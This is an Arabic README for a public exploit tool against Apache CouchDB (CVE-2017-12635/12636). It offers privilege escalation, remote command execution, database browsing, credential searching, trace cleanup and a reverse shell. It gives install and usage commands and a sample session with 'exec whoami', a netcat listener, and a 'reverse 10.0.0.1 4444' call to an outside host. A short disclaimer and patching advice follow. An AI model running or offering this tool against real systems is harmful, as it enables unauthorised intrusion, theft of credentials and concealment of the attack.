
يستغل ثغرات CouchDB (CVE-2017-12635/12636) لتصعيد الصلاحيات وتنفيذ الأوامر عن بُعد (RCE)، ثم يوفر شلًا تفاعليًا مع تنفيذ الأوامر وتصفح قاعدة البيانات وشل عكسي.
تستغل هذه الأداة ثغرتين حرجتين في Apache CouchDB:
| CVE | الوصف | الخطورة |
|---|---|---|
| CVE-2017-12635 | تصعيد الصلاحيات عبر تجاوز تحليل JSON | 🔴 حرجة |
| CVE-2017-12636 | التنفيذ عن بُعد للشيفرة عبر Query Server | 🔴 حرجة |
| الإصدار | معرّض للثغرة | الإصدار المُصلح |
|---|---|---|
| Apache CouchDB < 1.7.0 | ✅ نعم | 1.7.0 |
| Apache CouchDB 1.x.x | ✅ نعم | 1.7.0 |
| Apache CouchDB 2.0.0 | ✅ نعم | 2.1.1 |
| Apache CouchDB 2.1.0 | ✅ نعم | 2.1.1 |
| Apache CouchDB ≥ 2.1.1 | ❌ لا | - |
curl http://target:5984/
✨ الميزات
✅ استغلال تلقائي - أمر واحد للتحكم في كل شيء
✅ صدفة تفاعلية - واجهة أوامر سهلة الاستخدام
✅ عارض قواعد البيانات - تصفح جميع قواعد البيانات والمستندات
✅ عرض JSON كامل - اطّلع على محتوى المستند بالكامل
✅ بحث شامل - ابحث عن كلمات مفتاحية عبر جميع قواعد البيانات
✅ أوامر النظام - نفّذ أوامر عشوائية على الهدف
✅ صدفة عكسية - احصل على صدفة تفاعلية كاملة
✅ سجل الأوامر - تتبّع إجراءاتك
✅ تنظيف تلقائي - إزالة الآثار بعد الاستغلال
✅ إخراج ملوّن - سهل القراءة والفهم
📦 التثبيت المتطلبات الأساسية bash
python3 --version
استنساخ وتثبيت bash
git clone https://github.com/darabium/couchdb-exploit.git
cd couchdb-exploit
python3 -m venv myenv
source myenv/bin/activate
pip install -r requirements.txt
المتطلبات txt
requests>=2.25.0 urllib3>=1.26.0
🚀 الاستخدام الاستخدام الأساسي bash
python3 couchdb-exploit.py -t <TARGET_IP> -p <PORT>
python3 couchdb-exploit.py -t 192.168.1.100 -p 5984
خيارات سطر الأوامر bash
python3 couchdb-exploit.py -h
usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]
arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target IP address or hostname
-p PORT, --port PORT Target port (default: 5984)
💻 الأوامر
بمجرد الاستغلال، ستحصل على صدفة تفاعلية: الأمر الوصف مثال db عرض جميع قواعد البيانات مع عدد المستندات db view عرض جميع المستندات في قاعدة بيانات (JSON كامل) view passwords raw عرض استجابة الخادم الخام raw admin count عدّ المستندات في قاعدة بيانات count users search البحث عن كلمة مفتاحية في جميع قواعد البيانات search admin exec تنفيذ أمر نظام exec whoami reverse إعداد صدفة عكسية reverse 10.0.0.1 4444 history عرض سجل الأوامر history help عرض هذه القائمة help exit الخروج مع التنظيف exit 📊 أمثلة
couchdb> db
[+] 39 databases:
_replicator (0 docs)
_users (12 docs)
admin (5 docs)
passwords (25 docs)
core-configuration (8 docs) ...
عرض محتوى قاعدة البيانات bash
couchdb> view passwords
[*] Total documents: 25
couchdb> search password
✅ Found in 'passwords' ID: user1 Content: { "username": "root", "password": "rootpass123" }
✅ Found in 'config' ID: app_settings Content: { "db_password": "secret123", "api_key": "sk_live_abc123" }
couchdb> exec whoami [+] Executing: whoami [+] Command executed!
couchdb> exec id [+] Executing: id [+] Command executed!
nc -lvnp 4444
couchdb> reverse 10.0.0.1 4444 [+] إعداد صدفة عكسية إلى 10.0.0.1:4444 [!] تأكد من تشغيل المستمع: nc -lvnp 4444 [?] هل تريد المتابعة؟ (y/n): y [+] تم تفعيل الصدفة العكسية!
🖼️ لقطات الشاشة الاستغلال أثناء التنفيذ
https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot عرض قاعدة البيانات
https://via.placeholder.com/800x400?text=Database+View الصدفة العكسية
https://via.placeholder.com/800x400?text=Reverse+Shell ⚠️ إخلاء المسؤولية
مهم: هذه الأداة مخصصة لأغراض تعليمية والاختبار المصرح به فقط.
🚫 لا تستخدمها على أنظمة دون إذن صريح
🚫 المؤلف غير مسؤول عن أي سوء استخدام
🚫 استخدمها فقط في بيئات خاضعة للرقابة أو على أنظمتك الخاصة
✅ احصل دائمًا على تصريح كتابي قبل الاختبار
✅ اتبع ممارسات الإفصاح المسؤولة
باستخدامك هذه الأداة، فإنك توافق على هذه الشروط. 🔐 نصائح أمنية
إذا كنت مسؤول نظام:
قم بالترقية فورًا إلى CouchDB ≥ 1.7.0 أو ≥ 2.1.1
استخدم جدار الحماية لتقييد الوصول إلى المنفذ 5984
فعّل المصادقة واستخدم كلمات مرور قوية
راقب السجلات بحثًا عن أي نشاط مشبوه
إجراء تدقيقات أمنية منتظمة لبنيتك التحتية
إصلاح سريع bash
sudo apt-get update sudo apt-get install couchdb=2.1.1 # أو أحدث إصدار
sudo ufw allow from 192.168.1.0/24 to any port 5984
📚 المراجع
CVE-2017-12635 - NVD
CVE-2017-12636 - NVD
أمان Apache CouchDB
Exploit-DB
👤 المؤلف
darabium
GitHub: @darabium
Telegram: @darabium
⭐ الدعم
إذا وجدت هذا مفيدًا:
⭐ ضع نجمة على المستودع
🐛 أبلغ عن المشكلات
🔧 ساهم بالتحسينات
📢 شارك مع الآخرين
📄 الترخيص
هذا المشروع مرخص بموجب ترخيص MIT - راجع ملف LICENSE للحصول على التفاصيل.
صُنع بـ ❤️ لأبحاث الأمن
⬆ العودة إلى الأعلى